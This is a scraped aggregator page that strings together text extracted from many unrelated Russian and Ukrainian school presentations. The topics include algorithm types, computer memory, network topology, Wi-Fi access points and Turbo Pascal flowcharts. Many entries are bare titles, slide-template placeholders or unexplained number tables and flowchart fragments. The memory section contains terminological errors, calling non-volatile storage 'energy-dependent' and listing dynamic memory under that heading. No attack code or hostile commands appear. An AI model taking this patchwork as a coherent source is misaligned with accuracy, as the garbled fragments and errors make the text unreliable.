cursor: [[<uri>,]* [auto | default | pointer | crosshair | move | e-resize | ne-resize | nw-resize | n-resize | seresize | sw-resize | s-resize | w-resize| text | wait | help | progress ]] | inherit
a[href] {cursor: pointer;}
cursors.html
outline.html


Презентация на тему: Топология локальных сетей


title: Презентация на тему: Типы алгоритмов

text:
Типы алгоритмов
20.11.2014 г.
Кто повторяет старое и узнает новое, тот может быть предводителем.
Конфуций
Типы алгоритмов:
Линейный
Алгоритм с ветвлением
Циклический
Пословицы и поговорки в блок – схемах

1
Препятствие в виде возвышенности
Умный?
Обход
Восхождение

Да
Нет

Сформулируйте
известную  русскую  пословицу  по  её  блок-схеме

1
Умный в гору не пойдёт, умный гору обойдёт
Не стоит идти напролом,                           лучше поискать более доступные пути
Пословицы в блок-схемах
Пословицы в блок-схемах

2
Пословицы в блок-схемах

2
После драки         кулаками не машут.
После свершившегося, когда уже ничего не изменить, бесполезно негодовать и предпринимать какие-либо действия
Пословицы в блок-схемах

3
Пословицы в блок-схемах

3
Куй железо, пока горячо
Пословицы в блок-схемах

4

Нет

I < 7?

I = I +1

Да

Отрежь

Конец
Пословицы в блок-схемах

4
Семь раз отмерь –          один раз отрежь.
Перед тем, как что-либо сделать,                                    надо все тщательно обдумать
Пословицы в блок-схемах

5

I = 1
Оплата, покупка
Скупой?
Нет
Да
I = I + 1
I >2
Да
Нет
Пословицы в блок-схемах

5
Скупой платит дважды
 Х = 8
               2) Х = 63
3) Х = 12
Х = 8
Х = 63
63 < 50 –
«НЕТ!»
Результат:
63
Х = 12
Решение:
8 × 2 = 16
16 + 7 = 23
23 × 2 = 46
46 + 7 = 53
Решение:
12 × 2 = 24
24 + 7 = 31
31 × 2 = 62
62 + 7 = 69

Составить блок-схему по заданному алгоритму
Начало
Подойти к переходу
Дождаться зеленого
сигнала светофора
4. Перейти улицу
5. Конец
ФИЗКУЛЬТМИНУТКА
ПРАКТИЧЕСКАЯ РАБОТА
Начало
Встаньте
По одному подойдите к учительскому столу
Возьмите карточку с заданиями
Сядьте за компьютер
Прочитайте задание
Выполните задание
Поднимите руки
Конец
Домашнее задание:
Учебник: § 11, уметь отвечать на вопросы в конце параграфа;
Работа по карточкам

немного затруднялся
все понятно
было трудно и не понятно
Рефлексия


Презентация на тему: Топ-Антивирус


title: Презентация на тему: типи алгоритмів

text:
Типи алгоритмів
За новою програмою
Урок 19
Розгадайте кросворд
Розділ 4 § 19
1
Середовище учня.
2
Середовище дресирувальника.
3
Середовище світлофора.
4
Середовище дельфіна.
5
Середовище пілота.
6
Середовище моряка-підводника.
Далі
Типи алгоритмів
При розв'язуванні прикладних задач із різних предметних галузей часто створюють алгоритми. При цьому кожну задачу S можна подати у вигляді послідовності окремих підзадач.
Розділ 4 § 19
Типи алгоритмів
І таку деталізацію окремих підзадач можна продовжувати, поки буде одержано набір вказівок, кожну з яких зможе виконати обраний виконавець.
Розділ 4 § 19
У такому разі говорять, що при розв'язуванні задачі використовується метод уточнення алгоритму зверху вниз.
Типи алгоритмів
Опис кожної підзадачі здійснюється з використанням трьох базових алгоритмічних структур:
Розділ 4 § 19

Слідування
Розгалуження
Повторення
За їх допомогою можна подати будь-який алгоритм.
Типи алгоритмів
Структура слідування використовується в лінійних алгоритмах. Структура слідування графічно подається у вигляді послідовності кількох вказівок і передбачає, що для виконання заданої вказівки S необхідно послідовно виконати деякі дві простіші вказівки W1 і W2, кожна з яких, у свою чергу може бути також уточнена.
Розділ 4 § 19
Типи алгоритмів
Часто при розв'язуванні задач деякі вказівки можуть повторюватися кілька разів, і тоді алгоритми їх розв'язування передбачають використання структури повторення.
Розділ 4 § 19
Типи алгоритмів
Якщо задача має кілька варіантів реалізації залежно від виконання деякої умови, то для її розв'язування використовують алгоритми з розгалуженням.
Розділ 4 § 19
Типи алгоритмів
Структури повторення та розгалуження мають відповідне графічне подання, з яким ми ознайомимося під час вивчення матеріалу цього розділу. Але в загальному вигляді їх також можна подати у вигляді окремої підзадачі.
Розділ 4 § 19
Для запису умов в алгоритмах з повторенням та розгалуженням використовують висловлювання.
Типи алгоритмів
Розділ 4 § 19
Висловлювання — це твердження, яке може бути істинним або хибним.
Типи алгоритмів
В описі алгоритмів з повторенням і розгалуженням для запису умов використовуються висловлювання, які графічно подаються, як показано на малюнку.
Розділ 4 § 19
Типи алгоритмів
Розрізняють прості та складені висловлювання.
Прикладами простих висловлювань є:
Розділ 4 § 19
Польща межує з Україною.
Власні назви пишуться з великої літери.
Периметр чотирикутника дорівнює сумі довжин усіх сторін.
Число 126 ділиться на 9.
Прості висловлювання можна записувати як словесно, так і за допомогою знаків відношень >,<,=.
Типи алгоритмів
Складені висловлювання утворюються із простих за допомогою сполучників І, АБО, НЕ.
Прикладами складених висловлювань є:
Розділ 4 § 19
(велосипед справний) І (в мене є вільний час);
(після дзвінка у школі розпочинається урок) АБО (після дзвінка у школі розпочинається перерва);
НЕ (натиснуто клавішу Пропуск).
Типи алгоритмів
Побудову складених висловлювань уперше розглянуто 1845 р. в книзі англійського математика Дж. Буля (G. Boole) «The Laws of Truth».
Розділ 4 § 19
Типи алгоритмів
Складене висловлювання, що утворюється за допомогою сполучника І, буде істинним лише в тому разі, якщо всі прості висловлювання, що входять до його складу, будуть істинними. Наприклад, складене висловлювання:
Розділ 4 § 19
(велосипед справний) І (в мене є вільний час) складається із двох: «велосипед справний» та «в мене є вільний час». Якщо хоча б одне із простих висловлювань не є істинним, то не буде істинним і складене висловлювання.
Типи алгоритмів
Складене висловлювання, що утворюється за допомогою сполучника АБО, буде хибним у тому разі, коли хоча б одне із його складових висловлювань буде хибним. Наприклад, висловлювання:
Розділ 4 § 19
«Іван займається спортом на уроках фізкультури в школі або у спортивній секції» буде хибним лише у випадку, коли Іван не відвідує спортивні секції та звільнений від уроків фізкультури в школі.
Типи алгоритмів
За допомогою сполучника НЕ можна утворити протилежне за змістом висловлювання. Наприклад, якщо висловлювання:
Розділ 4 § 19
«натиснуто клавішу Пропуск» у процесі виконання алгоритму стало істинним, то висловлювання НЕ (натиснуто клавішу Пропуск) є хибним.
Типи алгоритмів
Крім того, розглядають складені висловлювання, які утворюються із простих за допомогою сполучників «якщо» і «то» та встановлюють, що одна подія чи стан є підставою або умовою для іншої події чи стану. Наприклад:
Розділ 4 § 19
«Якщо горить червоне світло світлофора, то дорогу переходити не можна».
Типи алгоритмів
Це складене висловлювання складається з двох простих: засновку — «Якщо горить червоне світло світлофора» та висновку — «то дорогу переходити не можна».
Розділ 4 § 19
Таке висловлювання називається висловлюванням з логічним слідуванням, або умовним висловлюванням.
Типи алгоритмів
Два умовні висловлювання можна подати у вигляді «Якщо — то — інакше». Наприклад, висловлювання:
Розділ 4 § 19
«якщо на світлофорі горить зелене світло, то можна переходити дорогу» та «якщо на світлофорі не горить зелене світло, то не можна переходити дорогу» можна об'єднати в одне складене умовне висловлювання
«якщо на світлофорі горить зелене світло, то можна переходити дорогу, інакше — не можна переходити дорогу».
Повторюємо
Розглянь схему та доповни її прикладами висловлювань.
Розділ 4 § 19
Дайте відповіді на запитання
Як створюються алгоритми?
Які ви знаєте типи алгоритмів?
Наведіть приклади лінійних алгоритмів.
Наведіть приклади алгоритмів з повторенням.
Наведіть приклади алгоритмів з розгалуженням.
Розділ 4 § 19
Що таке висловлювання?
Наведіть приклади істинних і хибних висловлювань.
Розгадайте ребус
Висловлення
Розділ 4 § 19
ВЛЕ
М=НН
И
Працюємо за комп’ютером
Розділ 4 § 19
Дякую за увагу!
За новою програмою
Урок 19


title: Презентация на тему: HTML мультимедиа

text:
HTML мультимедиа
Вставка комментария и изображения
Вставка изображения формата .gif
Вставка звукового файла
Вставка видеоролика
Вставка повторяющегося видеоролика


Презентация на тему: Топология сети


title: Презентация на тему: Типы памяти ЭВМ

text:
Типы памяти персонального компьютера.

В последние два десятилетия массовое производство персональных компьютеров и стремительный рост Интернета существенно ускорили становление информационного общества в развитых странах мира.
В информационном обществе главным ресурсом является информация, именно на основе владения информацией о самых различных процессах и явлениях можно эффективно и оптимально строить любую деятельность. Большая часть населения в информационном обществе занята в сфере обработки информации или использует информационные и коммуникационные технологии в своей повседневной производственной деятельности.
Для жизни и деятельности в информационном обществе необходимо обладать информационной культурой, т.е. знаниями и умениями в области информационных технологий, а также быть знакомым с юридическими и этическими нормами в этой сфере.
Информационный подход к исследованию мира реализуется в рамках информатики, комплексной науки об информации и информационных процессах, аппаратных и программных средствах информатизации, информационных и коммуникационных технологиях, а также социальных аспектах процесса информатизации.
                           Память ПК.
Компактная микроэлектронная “память” широко применяется в современной аппаратуре самого различного назначения. Но тем не менее разговор о классификации памяти, её видах следует начать с определения места и роли, отведённой памяти в ЭВМ. Память является одной из самых главных функциональных частей машины, предназначенной для записи, хранения и выдачи команд и обрабатываемых данных. Следует сказать, что команды и данные поступают в ЭВМ через устройство ввода, на выходе которого они получают форму кодовых комбинаций 1 и 0. Основная память как правило состоит из запоминающих устройств двух видов оперативного (ОЗУ) и постоянного (ПЗУ).

мпактная микроэлектронная “память” широко применяется в современной аппаратуре самого различного назначения. Но тем не менее разговор о классификации памяти, её видах следует начать с определения места и роли, отведённой памяти в ЭВМ. Память является одной из самых главных функциональных частей машины, предназначенной для записи, хранения и выдачи команд и обрабатываемых данных. Следует сказать, что команды и данные поступают в ЭВМ через устройство ввода, на выходе которого они получают форму кодовых комбинаций 1 и 0. Основная память как правило состоит из запоминающих устройств двух видов оперативного (ОЗУ) и постоянного (ПЗУ).
Память – среда или функциональная часть ЭВМ, предназначенная для приема, хранения и избирательной выдачи данных.
Различают оперативную (главную, основную, внутреннюю),
                     Регистровую
                Кэш- и внешнюю память.
Запоминающее устройство, ЗУ – технической средство, реализующее функции памяти ЭВМ.
Ячейка памяти – минимальная адресуемая область памяти (в том числе запоминающего устройства и регистра).

ОЗУ предназначено для хранения переменной информации; оно допускает изменение своего содержимого в ходе выполнения вычислительного процесса. Таким образом, процессор берёт из ОЗУ код команды и, после обработки каких-либо данных, результат обратно помещается в ОЗУ. Причем возможно размещение в ОЗУ новых данных на месте прежних, которые при этом перестают существовать. В ячейках происходит стирание старой информации и запись туда новой. Из этого видно, что ОЗУ является очень гибкой структурой и обладает возможностью перезаписывать информацию в свои ячейки неограниченное количество раз по ходу выполнения программы. Поэтому ОЗУ играет значительную роль в ходе формирования виртуальных адресов.

ПЗУ содержит такой вид информации, которая не должна изменяться в ходе выполнения процессором программы. Такую информацию составляют стандартные подпрограммы, табличные данные, коды физических констант и постоянных коэффициентов. Эта информация заносится в ПЗУ предварительно, и блокируется путем пережигания легкоплавких металлических перемычек в структуре ПЗУ. В ходе работы процессора эта информация может только считываться. Таким образом ПЗУ работает только в режимах хранения и считывания.

Из приведённых выше характеристик видно, что функциональные возможности ОЗУ шире чем ПЗУ: оперативное запоминающее устройство может работать в качестве постоянного, то есть в режиме многократного считывания однократно записанной информации, а ПЗУ не может быть использовано в качестве ОЗУ. Это заключение, в свою очередь, приводит к выводу, что ПЗУ не участвует в процессе формирования виртуальной памяти. Но бесспорно, ПЗУ имеет свои достоинства, например сохранять информацию при сбоях, отключении питания (свойство энергонезависимости). Для обеспечения надежной работы ЭВМ при отказах питания нередко ПЗУ используется в качестве памяти программ. В таком случае программа заранее “зашивается” в ПЗУ.
       Классификация видов памяти.
- память (ЗУ) с записью-считыванием (read/write memory) – тип памяти, дающей возможность пользователю помимо считывания данных производить их исходную запись, стирание и/или обновление. К этому виду могут быть отнесены оперативная память, а также ППЗУ;

- постоянная память, постоянное ЗУ, ПЗУ (Read Only Memory, ROM) - типа памяти (ЗУ), предназначенный для хранения и считывания данных, которые никогда не изменяются. Запись данных на ПЗУ производится в процессе его изготовления, поэтому пользователем изменяться не может. Наиболее распространены ПЗУ, выполненные на интегральных микросхемах (БИС, СБИС) и оптических (компакт-) дисках;
- программируемая постоянная память, программируемое ПЗУ, ППЗУ (PROM, Programmable Read-Only Memory) – постоянная память или ПЗУ, в которых возможна запись или смена данных путем воздействия на носитель информации электрическими, магнитными и/или электромагнитными (в том числе ультрафиолетовыми или другими) полями под управлением специальной программы. Различают ППЗУ с однократной записью и стираемые ППЗУ (EPROM, Erasable PROM), в том числе:

Виды памяти, различаемые по признаку зависимости сохранения записи при снятии электропитания
- энергозависимая (не разрушаемая) память (ЗУ) (non-volatile storage) – память или ЗУ, записи в которых не стираются (не разрушаются) при снятии электропитания;
- динамическая память (dynamic storage) – разновидность энергозависимой полупроводниковой памяти, в которой хранимая информация с течением времени разрушается, поэтому для сохранения записей, необходимо производить их периодическое восстановление (регенерацию), которое выполняется под управлением специальных внешних схемных элементов.

Различия видов памяти по виду физического носителя и способа записи данных.
- акустическая память (acoustic storage) - вид памяти (ЗУ), использующий в качестве среды для записи и хранения данных замкнутые акустические линии задержки;
- голографическая память (holographic storage) – вид памяти (ЗУ), использующий в качестве среды для записи и хранения графической объемной (пространственной) информации голограмм;

- емкостная память (capacitor storage) – вид памяти (ЗУ), использующий в качестве среды для записи и хранения данных конденсаторы;
- криогенная память (cryogenic storage) – вид памяти (ЗУ), использующий в качестве среды для записи и хранения данных материалы, обладающие сверхпроводимостью;
- лазерная память (laser storage) – вид памяти (ЗУ), в котором запись и считывание данных производятся лучом лазера;
- магнитная память (magnetic storage) – вид памяти (ЗУ), использующий в качестве среды для записи и хранения данных магнитный материал. Наиболее широко использующимися устройствами реализации магнитной памяти в современных ЭВМ являются накопители на магнитных лентах (НМЛ), магнитных (жестких и гибких) дисках (НЖМД и НГМД);

- магнитооптическая память (magneto-optic storage) – вид памяти, использующий магнитный материал, запись данных на которые возможна только при нагреве до температуры Кюри, осуществляемом в точке записи лучом лазера;
- молекулярная память (molecular storage) – вид памяти, использующей технологию «атомной туннельной микроскопии», в соответствии с которой запись и считывание данных производится на молекулярном уровне. Носителями информации являются специальные виды пленок. Головки, считывающие данные, сканируют поверхность пленок. Их чувствительность позволяет определять наличие или отсутствие в молекулах отдельных атомов, на чем и основан принцип записи/считывания данных;
- полупроводниковая память (semiconductor storage) – вид памяти (ЗУ), использующий в качестве средств записи и хранения данных микроэлектронные интегральные схемы.
Спасибо за внимание!


title: Презентация на тему: Отношения соподчинения, противоречия и противоположности

text:
Урок для 6 класса: «Отношения соподчинения, противоречия и противоположности» Подготовила учитель информатики МКОУ СОШ №7 с.ВеличаевскогоХолодкова Е.Н.
Повторим
А
   В
А=
 папа - ...
техслужащая -…
Москва - …
Первый космонавт -…

Подберите  к понятию такое, которое бы находилось с ним в отношении тождества
уборщица
отец
столица России
Юрий Гагарин
А
   Б
А
В
Хищные животные и рыбы
Полосатые животные – тигры
Хищные животные и птицы
Яблоки - кислые яблоки

Определите в каком случае между двумя понятиями отношения пересечения, а в каком отношение подчинения
А
В

А
В

- пересечение
- пересечение
- подчинение
- подчинение
Руки за голову дети сложили,
На физминутку глазки закрыли.
Сколько в мире есть чудес!
Руки тянем до небес.
Посмотрите в наши глазки
Их откроем мы для вас.
(широко их открываем)
Влево, вправо по указке
Шевелит глазами класс.
Встанем, выйдем из-за парты
Начинается разминка:
Руки прячутся за спинку.

А теперь над головой
Мы похлопаем с тобой.
Взгляд свой в небо устремим.
Ручки вниз и пошалим.
Прыгнем  дети все 5 раз.
Самый дружный у нас класс!
Сели тихо и легко.
Подтянулись высоко,
А теперь глаза закроем,
Руки сложим на столе,
Станет тихо – вновь откроем…
Всё, друзья, конец игре.
Физминутка
Носители
 информации
Соподчинение -отношение между несколькими понятиями,
 объемы которых не пересекаются, но которые принадлежат некоторому более общему (родовому) понятию.

Домашние
 животные
кошка
корова
собака
Собака, кошка, корова, домашние животные.
Яблоки, груши, фрукты, сливы.
А
В
Противоположность - объемы двух понятий разделены
объемом некоторого третьего понятия.

Высокий дом
Низкий дом
Высокий человек и низкий человек.

Толстая тетрадь и тонкая тетрадь.
Пусть А – некоторое понятие, тогда  понятие,
находящееся с ним в отношении противоречия,
 следует обозначить не - А

А
Новый компьютер
В
Неновый компьютер

А                                В
Новый                    Неновый
учебник                 учебник

Новый учебник …

А                                В
Белая                    Небелая
бумага                    бумага

Белая бумага …
Ромашки, Розы, Васильки, Цветы.
Холодная погода, жаркая погода.
Новая книга, неновая книга

Практическая работаС помощью кругов Эйлера-Вена  в программе Paint изобразите отношения между понятиями:
Домашнее задание §2.3. стр.45-51 -  пересказать.
С какими отношениями между понятиями мы сегодня познакомились?
Приведите примеры понятий, находящихся в отношениях соподчинения, противоречия и противоположности.
Подведём итог


text:
Топология

локальных сетей
Топология-это
Топология - это конфигурация сети, способ соединения элементов сети (то есть компьютеров) друг с другом. Чаще всего встречаются три способа объединения компьютеров в локальную сеть: "звезда", "общая шина" и "кольцо".

Соединение типа "звезда". Каждый компьютер через специальный сетевой адаптер подключается отдельным кабелем к объединяющему устройству. В центре находится концентратор, последовательно связывающийся с абонентами и связывающий их друг с другом
Радиальная
топология
Достоинства: Легко искать неисправность в сети.
Недостатки: Соединение не всегда надежно, поскольку выход из строя центрального узла может привести к остановке сети.

Плюсы и минусы
Топологии «звезда»
Соединение типа "кольцо". Данные передаются от одного компьютера к другому; по замкнутому кругу при этом если один компьютер получает данные, предназначенные для другого компьютера, то он передает их дальше (по кольцу).

Кольцевая
топология
Достоинства: балансировка нагрузки, возможность и удобство прокладки кабеля.
Недостатки: физические ограничения на общую протяженность сети.

Плюсы и минусы
Топологии «кольцо»
Соединения типа «общая шина».Компьютеры подключены к общему для них каналу, через которые могут обмениваться сообщениями
Шинная
 топология
Достоинства: отказ одного из узлов не влияет на работу сети в целом, сеть легко настраивать
Недостатки: разрыв кабеля может повлиять на работу всей сети, ограниченная длина кабеля и количество рабочих станций
Плюсы и минусы
Топологии «шина»
Соединения типа «снежинка»
рассматривается как комбинация нескольких «звезд». Компьютеры сети могут находиться на разных уровнях (этажах)

Древовидная
топология
Топология сети позволяет определить не только физическое расположение компьютеров, но, что еще более важно, обеспечивает характер связи между ними, а также различные особенности распространения сигналов через сеть. Именно характером связи можно определить то, насколько отказоустойчивой является сеть, а также узнать требуемую сложность сетевой аппаратуры и наиболее актуальный метод управления обменом и множество других параметров.
Роль топологии
локальных сетей


title: Презентация на тему: Торговля через интернет-магазин

text:
arkashakasha.ru
18iposle.ru


title: Презентация на тему: Трехмерная графика

text:
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
AutoCAD
3DStudio Max


Презентация на тему: Требования к мультимедийным презентациям


Презентация на тему: Требования к условиям реализации ООП


title: Презентация на тему: ТРЕХМЕРНАЯ ГРАФИКА

text:
AutoCAD
3DStudio Max
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level


Презентация на тему: Требования к оформлению презентации


title: Презентация на тему: Требования к презентации

text:
900igr.net
2905918
2970202
64294
2,21
871786
980167
108381
12,43
227
181
-46
-20,26
48279
109937
61657
127,711
78,2471
35,9332
-42,3141
-54,077
44,33
110,60
66,27
149,48


title: Презентация на тему: Трехслойная архитектура приложений, основанных на использовании баз данных

text:
View Layer
Domain Layer
Data Source Layer
(Data Base)


title: Презентация на тему: Трехмерная графика


title: Презентация на тему: Требования к сейфам и хранилищам документов и ценностей

text:
RU
RU
RU
0
30
30
50
1
A
b
c
I
30
50
50
1
A
b
c
II
50
80
50
1
A
4
c
III
80
120
50
1
B
6
c
IV
120
180
100
2
B
9
1 000
V
180
270
100
2
B
14
1 000
VI
270
400
100
2
C
20
1 000
VII
400
600
100
2
C
30
1 000
VIII
550
825
100
2
C
41
1 000
IX
700
1 050
100
2
C
53
1 000
X
900
1 350
100
2
C
68
1 000
0
30
1
A
b
d
I
50
1
A
b
d
II
80
1
A
4
d
III
120
1
B
6
d
IV
180
2
B
9
d
V
270
2
B
14
d
VI
400
2
C
20
d
VII
600
2
C
30
d
VIII
825
2
C
41
10 000
IX
1 050
2
C
53
10 000
1 350
2
C
68
10 000
XI
2 000
3
100
10 000
2
D
XII
3 000
3
150
10 000
2
D
XIII
4 500
2
D
225
10 000
25 000
80 000
100 000
100 000
1 000 000
1 000 000
D
3 000 000
3 000 000
70
70
70
100
100
125
VIII
200
200
250
200
250
375


title: Презентация на тему: тренажер устройства компьютера

text: i


Презентация на тему: Total commander


Презентация на тему: Триумф


title: Презентация на тему: Триггеры

text:
1830
S
R
Qt
Qt+1
0
0
0
0
0
0
1
1
0
1
0
0
0
1
1
0
1
0
0
1
1
0
1
1
1
1
0
1
1
1


title: Презентация на тему: Точное земледелие

text:
a.
b.
c.


title: Презентация на тему: Текстовый процессор MS Word

text:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16


Презентация на тему: Троянская программа


Презентация на тему: Троянские программы и защита от них


title: Презентация на тему: Точки доступа Wi-Fi

text:
Точки доступа Wi-Fi
Беспроводная сеть — это важная часть практически любого современного предприятия. Организуя быструю и защищенную сеть, можно существенно увеличить производительность труда.
Wi-Fi - это система, обычно покрывающая десятки метров, которая использует нелицензированные диапазоны частот для обеспечения доступа к сети. Обычно Wi-Fi используется пользователями для доступа к их собственной локальной сети, которая может быть и не подключена к Интернету.

Беспроводная точка доступа WiFi представляет собой приемопередатчик радиосигнала, который объединяет  беспроводные и проводные устройства в локальную вычислительную сеть.
Точка доступа Wi-Fi
Точку доступа  применима в ситуациях, когда необходимо:
выполнить функции сетевого концентратора, создавая локальную сеть из нескольких объединенных компьютеров;
организовать мост между участками без проводов (режим Infrastructure);
подключить группу компьютеров, где каждый имеет сетевой адаптер без проводов, либо в самостоятельные сети (режим Ad-hoc);
создать удобное гостевое подключение для клиентов и партнеров.
Применение
Также следует различать ТД по видам:
Существуют внешние точки доступа WiFi . С их помощью чаще всего реализовывают профессиональные проекты типа коттеджных поселков или передача данных на производствах, имеющих удаленные объекты.
Переносными точками доступа Wi-Fi удобно пользоваться, чтобы иметь условия для создания мощной сети «под рукой» в любом удобном месте и в любое время.

Виды точек доступа
Разновидности точек доступа Wi-Fi
Внешняя
Портативная
Офисная
Режим точки доступа Access Point (AP) -  устройство будет работать в качестве обычной беспроводной точки доступа Wi-Fi
Режим беспроводного моста Wireless Bridge (Bridge) -  устройство используется для соединения двух независимых друг от друга проводных сетей.
Режим AP/Bridge (AP+Bridge) - устройство  одновременно выступает в качестве обычной точки доступа Wi-Fi для беспроводных клиентов и в качестве беспроводного моста между собственной беспроводной сетью и удаленной беспроводной сетью.
Режим Repeater (повторитель, репитер) необходим для связи двух  или более беспроводных точек доступа в случаях, когда установление прямой связи между ними не представляется возможным.
Режимы работы
Режим Access Point
Режим Wireless Bridge
Режим AP/Bridge
Режим Repeater
http://ru.wikipedia.org/wiki/Wi-Fi
http://necomtrade.ru/products/tochki-dostupa-wi-fi
http://www.getwifi.ru/p_router_ap.html
http://zyxel.ru/kb/2245

Источники


title: Презентация на тему: Тренажер Свойства информации

text:
СВОЙСТВА ИНФОРМАЦИИ
Правила работы с тестом:
 для начала тестирования перейдите на следующий слайд и щелкните левой клавишей мыши на область   «Начать тест» в левом нижнем углу слайда;
 выбор определения осуществляется щелчком по нему левой клавиши мыши;
 если определение выбрано верно, оно перемещается к термину и изменяет цвет своего фона на темно-зеленый;
 если определение выбрано неверно, оно меняет цвет фона на розовый, а внизу слайда появляется знак штрафного балла (розовый круг);
 для перехода к следующему определению необходимо нажать на зеленую область с номером предыдущего свойства в левом нижнем углу слайда;
 по окончании тестирования появляется надпись «Тест закончен», количество штрафных баллов внизу слайда показывает количество допущенных ошибок при тестировании.

Тест подготовила
Карская Алла Михайловна,
учитель экономики,  информатики и ИКТ
ГБОУ школы-интернат № 49 Петродворцового района Санкт-Петербурга «Школа здоровья»
Полнота
Понятность

Свойство 1
Тест закончен
Объективность
Информация важна, существенна в настоящий момент времени
Достоверность
Актуальность
Полезность
Информация выражена на языке, доступном для получателя
Информация отражает истинное положение дел
Информация позволяет получателю решать стоящие перед ним задачи
Начать тест
Информация выражена на языке, доступном для получателя
Информация выражена на языке, доступном для получателя
Информация выражена на языке, доступном для получателя
Информация выражена на языке, доступном для получателя
Информация важна, существенна в настоящий момент времени
Информация важна, существенна в настоящий момент времени
Информация не зависит от чьего-либо мнения
Информация отражает истинное положение дел
Информация позволяет получателю решать стоящие перед ним задачи
Информация позволяет получателю решать стоящие перед ним задачи
Информация позволяет получателю решать стоящие перед ним задачи
Свойство 5
Свойство 4
Свойство 3
Свойство 2
Штрафные
баллы:

Информации достаточно для понимания ситуации и принятия решения
  Свойство 6

Информации достаточно для понимания ситуации и принятия решения
Информации достаточно для понимания ситуации и принятия решения
Информации достаточно для понимания ситуации и принятия решения
Информации достаточно для понимания ситуации и принятия решения

Информации достаточно для понимания ситуации и принятия решения


title: Презентация на тему: Трехмерная графика

text:
ТрЁхмЕрнАЯ ГрАфИкА
Трёхмерная графика (3D (от англ. 3 Dimensions — «3 измерения»)
Graphics
Три измерения изображения-раздел компьютерной графики совокупности приёмов и инструментов (как програмных, так и аппаратных)

Отличия изображений
Трёхмерное изображение на плоскости отличается от двумерного тем, что включает построение геометрической проекции трёхмерной модели сцены на плоскость (например, экран компьютера) с помощью специализированных программ (однако, с созданием и внедрением 3D-дисплеев и 3D-принтеров, трёхмерная графика не обязательно включает в себя проецирование на плоскость).
3D МОДЕЛИРОВАНИЕ
3D-моделирование — это процесс создания трёхмерной модели объекта. Задача 3D-моделирования — разработать визуальный объемный образ желаемого объекта. С помощью трёхмерной графики можно и создать точную копию конкретного предмета, и разработать новое, даже нереальное представление до сего момента не существовавшего объекта.

ПРИМЕНЕНИЕ
Трёхмерная графика активно применяется для создания изображений на плоскости экрана или листа печатной продукции в науке и промышленности, например, в системах автоматизации проектных   работ (САПР; для создания твердотельных элементов: зданий, деталей машин, механизмов), архитектурной визуализации (сюда относится и так называемая «виртуальная археология»), в современных системах медицинской визуализации.


title: Презентация на тему: Travel Channel

text:
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
900igr.net
Travel Channel:


Презентация на тему: Turbo Pascal


Презентация на тему: Тролли (Троллинг)


title: Презентация на тему: Turbo Pascal

text:
1-58
1-58
1
 Turbo  Pascal
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Y
Y
16
17

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
18
19
K, N
i:= 2..K
j:=1..N
So
S:=i*j
20
21
4 3
22
23
24
t, x, y
x<= 3
y:=2*x+t
t<= 5
25
26
27
28
Sv
S<=Se
Sv
S:=Sv*1.01
l:=l+1     Sv:=S
Se:=Sv*10
29
30
31
32
33
Mo
M= SQR(X)+(2-A-SQR(A))*X-SQR(A)
Mo=Mo+M        X:=X+2
A:=-2     X:=1
    X>10
N
Y
34
35
36
37
t
a:=0   b:=1
a=t
b:=b*2    a:=a+1
N
Y
38
39
30
40
41
42
S, Kn
S=Kn
S<Kn
S>Kn
Y
Y
N
N
43
44
560
560
45
46
A
i = 1, a
j = 1, a
47
48
7

*
* *
* * *
* * * *
* * * * *
* * * * * *
* * * * * * *
49
50
51
N
N=01
N=02
N=03
N
N
N
Y
Y
Y
52
53
03
54
55
 K<0
K=2..4
K=0,5..9
N
 K=0
K1=11,12,
13,14
K mod 10
 K=1
K1=K mod 100
N
N
N
N
N
Y
Y
Y
Y
Y
56
57
K=
53
58


title: Презентация на тему: Тренажёр "Таблица умножения"

text:
Таблица умножения
Анимированная сорбонка
Автор :
Фокина Лидия Петровна,
учитель начальных классов
2014

МКОУ «СОШ ст. Евсино»
Искитимского района
 Новосибирской области
Дорогой друг!

На одной стороне карточки записан пример, а на другой – ответ.
Вначале реши пример. После этого можешь проверить себя. Для этого нужно левой кнопкой мышки щёлкнуть по карточке.

Желаю удачи!
2
3
4
5
6
7
8
9
ВЫХОД

10
8
6
14
4
18
16
12
2  6

2  8

2  9

2  2

2  7

2  3

2  4

2  5

24
21
12
3  4

3  7

3  8

15
3  5

6
3  2

27
3  9

18
3  6

9
3  3

16
4  4

28
4  7

8
4  2

36
4  9

20
4  5

12
4  3

32
4  8

24
4  6

10
5  2

35
5  7

20
5  4

40
5  8

30
5  6

15
5  3

45
5  9

25
5  5

36
6  6

12
6  2

54
6  9

24
6  4

30
6  5

42
6  7

48
6  8

18
6  3

14
7  2

42
7  6

28
7  4

63
7  9

49
7  7

21
7  3

35
7  5

56
7  8

16
8  2

56
8  7

32
8  4

72
8  9

64
8  8

48
8  6

40
8  5

24
8  3

36
9  4

54
9  6

72
9  8

18
9  2

45
9  5

63
9  7

27
9  3

81
9  9

Используемые источники:
Фон http://s02.yapfiles.ru/files/529700/zelenyi.png
Аствацатуров Г.О. Технологический прием «Анимированная сорбонка» – http://www.it-n.ru/communities.aspx?cat_no=13748&d_no=222265&ext=Attachment.aspx?Id=97001

ВЫХОД


Презентация на тему: Турбо Паскаль


title: Презентация на тему: To school и Текстовый редактор WordPad

text:
Тема: To school  и Текстовый  редактор WordPad
04.02.2016 г.

Circle the correct words
James goes/doesn`t go to school by train.
Amit gets up/ doesn`t get up at 7 o`clock.
He goes/ doesn`t go to school by bike.
Dakota lives/ doesn`t live in Alaska.
She goes/doesn’t go to school by car.
Kim walks/doesn’t walk to school with her sister.
She meets/doesn’t meet her friends on Monday
Grammar present simple: negative

Delet
Enter
CapsLock
Shift
Paint
Contrl


title: Презентация на тему: Travel Channel

text:
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Travel Channel:


Презентация на тему: Творческая мастерская. Искусство создания презентации


title: Презентация на тему: Турнир по информатике

text:
900igr.net
1
2
3
6
5
4
7
8
9

1
2
3
6
5
4
1
2
3
4
5
6
1
2
4
3
5
6


Презентация на тему: Твои успехи